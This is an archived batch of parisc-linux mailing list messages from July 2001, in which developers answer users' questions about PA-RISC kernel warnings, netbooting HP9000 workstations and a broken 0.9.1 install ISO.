Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id vsjngaaa for parisc-linux@lists.parisc-linux.org; Thu, 5 Jul 2001 12:01:38 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15IEQV-0007qi-00; Thu, 05 Jul 2001 12:04:35 -0700
Content-Disposition: inline
In-Reply-To: <20010705201520.A3618@imke.infodrom.ffis.de>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11507

> Tried latest kernel from cvs ( 2.4.0-pa51 ) and still got the same result,
> 
> pvcreate(204): unaligned access to 0x40067cf3 at ip=0x400310db
> pvcreate(204): unaligned access to 0x40067cf7 at ip=0x400310e3

Do you see any other message about "Not-handled insn" like before? If
not this may be a different issue. 

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Torsten Neumann <torsten@imke.infodrom.ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: unaligned memory accesses
Date: Thu, 5 Jul 2001 22:04:59 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20010705220459.A13333@imke.infodrom.ffis.de>
References: <20010704155108.H31475@tausq.org> <20010705201520.A3618@imke.infodrom.ffis.de> <20010705120435.B30014@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620267 21733 80.91.229.3 (22 Nov 2014 01:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 14:07:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kuolema.infodrom.north.de (kuolema.infodrom.north.de [217.89.86.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id B71A5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 14:07:05 -0600 (MDT)
Original-Received: from finlandia.infodrom.north.de (finlandia.Infodrom.North.DE [217.89.86.34])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id 557D94D748; Thu,  5 Jul 2001 22:06:54 +0200 (CEST)
Original-Received: by finlandia.infodrom.north.de (Postfix, from userid 10)
	id BC34111691; Thu,  5 Jul 2001 22:06:45 +0200 (CEST)
Original-Received: by imke.infodrom.ffis.de (Linux Smail3.2 #1)
	id m15IFMx-0005S8C; Thu, 5 Jul 2001 22:04:59 +0200 (CEST)
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <20010705120435.B30014@tausq.org>
Original-Sender: torsten@imke.infodrom.north.de
Xref: news.gmane.org gmane.linux.ports.parisc:11508

On Thu, Jul 05, 2001 at 12:04:35PM -0700, Randolph Chung wrote:
> > Tried latest kernel from cvs ( 2.4.0-pa51 ) and still got the same result,
> > 
> > pvcreate(204): unaligned access to 0x40067cf3 at ip=0x400310db
> > pvcreate(204): unaligned access to 0x40067cf7 at ip=0x400310e3
> 
> Do you see any other message about "Not-handled insn" like before? If
> not this may be a different issue. 

No,
I don't see any messages like "Not-handled unaligned insn" anymore, so it might
be a different issue.

  Torsten




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.6 kernel merge
Date: Thu, 05 Jul 2001 19:57:29 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <E15IKs5-0000Kz-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620267 21737 80.91.229.3 (22 Nov 2014 01:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 19:57:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51D85482B
	for <parisc-linux@parisc-linux.org>; Thu,  5 Jul 2001 19:57:31 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id AADA9A83
	for <parisc-linux@parisc-linux.org>; Thu,  5 Jul 2001 21:57:30 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id TAA13127
	for <parisc-linux@parisc-linux.org>; Thu, 5 Jul 2001 19:57:29 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15IKs5-0000Kz-00
	for <parisc-linux@parisc-linux.org>; Thu, 05 Jul 2001 19:57:29 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11509

We're in the middle of merging to 2.4.6 and our CVS tree should not be
used for any other purpose right now.  It also doesn't even compile yet.
Use the 'pre246' tag if you need to grab the latest good sources.

	-P




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with burning iso's
Date: Fri, 6 Jul 2001 11:55:08 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20010706115505.V28368@neep.com.au>
References: <CC7EB40D4455D51191850090270C43801038B1@ati.ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620268 21740 80.91.229.3 (22 Nov 2014 01:37:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:48 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 21:55:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.24.18])
	by dsl2.external.hp.com (Postfix) with SMTP id 26BF7482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 21:55:20 -0600 (MDT)
Original-Received: (qmail 32653 invoked by uid 666); 6 Jul 2001 03:55:16 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.174.125)
  by mail.iinet.net.au with SMTP; 6 Jul 2001 03:55:16 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id LAA32766
	for parisc-linux@lists.parisc-linux.org; Fri, 6 Jul 2001 11:55:12 +0800
Mail-Followup-To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <CC7EB40D4455D51191850090270C43801038B1@ati.ati.stlawrencec.on.ca>; from RPengelly@ati.stlawrencec.on.ca on Thu, Jul 05, 2001 at 09:02:06AM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11510

Raymond Pengelly said:
> Also I was wondering what the md5checksums are all about? 

The MD5 checksums of the ISO files are provided so that you can verify
the integrity of the file you have downloaded.  You will obviously need
the md5sum program for your operating system to do so.

> Do I have to change anything in the iso before I burn it?

No.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request to boot (denied)
Date: Thu, 05 Jul 2001 23:03:29 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200107060503.XAA17614@puffin.external.hp.com>
References: <yhan@uwo.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620268 21741 80.91.229.3 (22 Nov 2014 01:37:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "y. han" <yhan@uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 23:04:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 502F8482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 23:04:19 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA17614;
	Thu, 5 Jul 2001 23:03:29 -0600
In-Reply-To: Message from "y. han" <yhan@uwo.ca> 
   of "Wed, 04 Jul 2001 14:41:36 EDT." <Pine.SOL.4.21.0107041427510.19435-100000@panther.uwo.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:11511

"y. han" wrote:
> Hi!
> Does anyone have any idea what is wrong with rbootd in our 715/50 machine.
> 
> We get the rbootd running.
> 1. the rbootd.conf is located at /etc
> 2. the rbootd.conf contains:

I think the older machines only support bootp and not rboot.
(I don't really know what I'm talking about but others on the list
 have posted something...search the list archive at lists.parisc-linux.org. )

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request to boot (denied)
Date: Fri, 6 Jul 2001 06:11:47 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010706061147.Z6103@parcelfarce.linux.theplanet.co.uk>
References: <yhan@uwo.ca> <200107060503.XAA17614@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620268 21743 80.91.229.3 (22 Nov 2014 01:37:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:48 +0000 (UTC)
Cc: "y. han" <yhan@uwo.ca>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  5 23:11:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A633482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jul 2001 23:11:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15INu7-0007dB-00; Fri, 06 Jul 2001 06:11:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200107060503.XAA17614@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Thu, Jul 05, 2001 at 11:03:29PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11512

On Thu, Jul 05, 2001 at 11:03:29PM -0600, Grant Grundler wrote:
> I think the older machines only support bootp and not rboot.
> (I don't really know what I'm talking about but others on the list
>  have posted something...search the list archive at lists.parisc-linux.org. )

It's the other way around, Grant.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Fri, 6 Jul 2001 12:08:18 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010706120817.Q23509@linuxcare.com>
References: <OF5EDA36D9.81945ED8-ONC1256A7F.00596A33@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620269 21745 80.91.229.3 (22 Nov 2014 01:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:49 +0000 (UTC)
Cc: puffin@esiee.net, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:09:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63E06482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:09:07 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 49038B00C; Fri,  6 Jul 2001 12:08:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <OF5EDA36D9.81945ED8-ONC1256A7F.00596A33@LocalDomain>; from jso@europay.com on Wed, Jul 04, 2001 at 06:44:02PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11513

On Wed, Jul 04, 2001 at 06:44:02PM +0200, Jol Soete wrote:
> Hi all,
> 
> Very nice on 712 model.
> Just a small problem after the configuration of the inet interface:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=2 (unowned) dev=l0 len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> This message is repeated severall times?

Don't know what causes that.

> But on the B180, I met the same problem as I met with the kernel
> vmlinux-20010629 (from puffin also with your vmlinux-712+sound+mouse):
> all seems to work fine but the keyboard does not answer (and no serial
> consol yet available) also it is impossible to contine the install?

I'm just installing a B180 using the 0.9.1 ISO, using the graphical
console.  I have a keyboard and mouse connected, and it is working
fine.  I'll try a serial console install next.

Richard





From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting images
Date: Fri, 6 Jul 2001 12:19:20 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20010706121920.R23509@linuxcare.com>
References: <20010703151202.H19064@gwyn.tux.org> <20010704133802.K19064@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620269 21750 80.91.229.3 (22 Nov 2014 01:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:49 +0000 (UTC)
Cc: Parisc Linux Mailing List <parisc-linux@lists.parisc-linux.org>
To: Timothy Ball <timball@tux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:20:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62662482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:20:06 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3F86AB00C; Fri,  6 Jul 2001 12:19:20 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010704133802.K19064@gwyn.tux.org>; from timball@tux.org on Wed, Jul 04, 2001 at 01:38:02PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11514

On Wed, Jul 04, 2001 at 01:38:02PM -0400, Timothy Ball wrote:
> On Tue, Jul 03, 2001 at 03:12:02PM -0400, Timothy Ball wrote:
> > I have a 735 and have had a bit of a time to try to get this thing to
> > boot and install. I have downloaded the palinux-0.9-32sti.iso.gz file
> > from the parisc website. Is there anything special I have to do to this
> > image to make it bootable? 
> 
> Okay I got the iso and it's booting... but then it gets down to these
> last few lines:
> 
> --snip--snip--snip--
> CPU(s): 1x PA7100 (PCX-T) at 125.000000 MHz
> Kernel command line: HOME=/ TERM=linux root=/dev/ram console=tty0 sti=0
> sti_font=VGA8x16
> Console: colour dummy device 80x25
> --snip--snip--snip--
> 
> Then it hangs... Not sure what to do... 

http://mkhppa1.esiee.fr/list.html says 735 is only known to work
with serial console.  Don't know if that is still valid.  You
should try the 0.9.1 ISO available from ESIEE, but please wait until
they have fixed it - the one currently available does not boot at all!

Richard





From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux
Date: Fri, 6 Jul 2001 12:32:46 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20010706123246.S23509@linuxcare.com>
References: <41E365428D7DD21192B700104BB0EA3D01526E1C@nttue01.tue.integrata.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620269 21755 80.91.229.3 (22 Nov 2014 01:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:49 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Joachim Kress <jkress@unilog.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:33:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B335482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:33:31 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3A1BFB00C; Fri,  6 Jul 2001 12:32:46 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <41E365428D7DD21192B700104BB0EA3D01526E1C@nttue01.tue.integrata.de>; from jkress@unilog.de on Thu, Jul 05, 2001 at 03:34:39PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11515

On Thu, Jul 05, 2001 at 03:34:39PM +0200, Joachim Kress wrote:
> Hello,
> 
> I have a HP9000 / 712 Workstation.
> 
> Can You tell me a general working-step for installing palinux on my machine
> ( step 1,....., step 9, ......)?

First wait for ESIEE to post a working 0.9.1 ISO at http://mkhppa1.esiee.fr
(the one with md5sum 473c029b513472cccab1a4d6e2156619 is broken).
Hopefully they will get a new one up on Monday.

That is a gzipped image, so uncompress it before burning a CD.

Boot the CD - it should work fine on serial or graphical console.

> i am in confusion about your install-steps on your Website !
> 
> then i have many problems to make a bootable CDROM for my Workstation!

If you cannot boot the CD, you need to set up a bootp server and
boot the lifimage file on the CD.  The README on the CD should make
that clear.  Having booted the lifimage, you may then install from
the CD or from the network.  Please post again if you still have
problems.

(if you are going to do a network install anyway, the current 0.9.1
ISO is ok - you just can't boot from it).

Richard





From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PaLinux With HP9000/G30 and HP9000/F10
Date: Fri, 6 Jul 2001 12:39:56 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010706123956.T23509@linuxcare.com>
References: <OFF94FEB89.7C57D76A-ONC1256A80.004A71F2@LocalDomain> <BEEEILCNADHOGJOKOBIOAEEBCCAA.maicon@battistella.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620269 21758 80.91.229.3 (22 Nov 2014 01:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Maicon Wendhausen <maicon@battistella.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:40:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE764482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:40:41 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B80ADB00C; Fri,  6 Jul 2001 12:39:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <BEEEILCNADHOGJOKOBIOAEEBCCAA.maicon@battistella.com.br>; from maicon@battistella.com.br on Thu, Jul 05, 2001 at 11:01:07AM -0300
Xref: news.gmane.org gmane.linux.ports.parisc:11516

On Thu, Jul 05, 2001 at 11:01:07AM -0300, Maicon Wendhausen wrote:
> Hello All!
> 
> I have a HP9000/G30 with 128 Mb RAM and 4 HDs 4.3Gb. and the HP9000/F10
> with 64Mb Ram and 1 HD 4.3 Gb.

<http://www.parisc-linux.org/hardware/supported.html> tells you that
G and F class are unlikely to be supported in the near future.
<http://mkhppa1.esiee.fr/list.html> confirms that they are not
currently supported.

Sorry,
  Richard





From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] very confused
Date: Fri, 6 Jul 2001 12:43:14 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010706124314.U23509@linuxcare.com>
References: <003d01c10563$c3d1c3d0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620270 21760 80.91.229.3 (22 Nov 2014 01:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:44:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 552284833
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:44:00 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 14386B00C; Fri,  6 Jul 2001 12:43:14 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <003d01c10563$c3d1c3d0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Thu, Jul 05, 2001 at 11:04:18AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11517

On Thu, Jul 05, 2001 at 11:04:18AM -0400, rpengelly wrote:
> I am trying to install pa-linux on a 735. I have a scsi CDROM and a ethernet connection to i386 running linux. I am getting very confused as to which is the best method of installing. Whether CD based or bootp/rboot based. Any help figuring this out would be greatly appreciated. 

If you have a SCSI CDROM, then the easiest thing to try is to
grab the 0.9.1 ISO from mkhppa1.esiee.fr and try to boot from
it.  However, please wait until the ISO is updated before
downloading, the current one (md5sum 473c....6619) is broken.

Richard





From - Thu Nov 08 21:18:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem in palinux-0.9.1 image with directory "debian" !!
Date: Fri, 6 Jul 2001 12:50:07 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010706125007.V23509@linuxcare.com>
References: <20010705131056.EF90CD15A6@mail.esiee.fr> <3B448B40.E94BCCE8@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620270 21762 80.91.229.3 (22 Nov 2014 01:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:50 +0000 (UTC)
Cc: marteau <marteaut@esiee.fr>, parisc-linux@lists.parisc-linux.org
To: Rafael Herrera <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:50:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62B504832
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:50:53 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1B6B7B00C; Fri,  6 Jul 2001 12:50:07 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B448B40.E94BCCE8@neuronet.pitt.edu>; from raffo@neuronet.pitt.edu on Thu, Jul 05, 2001 at 11:44:00AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11518

On Thu, Jul 05, 2001 at 11:44:00AM -0400, Rafael Herrera wrote:
> The is something wrong with the new iso. I get:
> 
> Trying scsi.2.0
> Boot path initialized.
> Attempting to load IPL.
> 
> IPL error: bad LIF magic.
> 
> I verified the md5sum value from that of the website
> (473c029b513472cccab1a4d6e2156619) and burnt the CD a 2x speed. The
> image I got last night booted normally. This a 715/75 machine.

Yep, the new image has a problem.  Expect another update in
a few days.

Alternatively, set up rbootd and netboot the lifimage from the
CD.  Once in the installer, you can install from CD as normal.
I assume you are on serial console?  My 715/75 didn't work with
graphical console last time I tried.

Yet another alternative, if the cd you got "last night" was the
earler 0.9.1 ISO, and you still have it, then boot from that
and switch to the new one before installing anything.

These 0.9.1 ISOs all have the same basic filesystem content, they just
have problems with the palo or mkisofs stage of the mastering.

Richard





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.1 installation failed with and ext2-fs error
Date: Fri, 6 Jul 2001 12:57:01 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010706125701.W23509@linuxcare.com>
References: <3B4495BC.C3E7A04D@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620270 21765 80.91.229.3 (22 Nov 2014 01:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
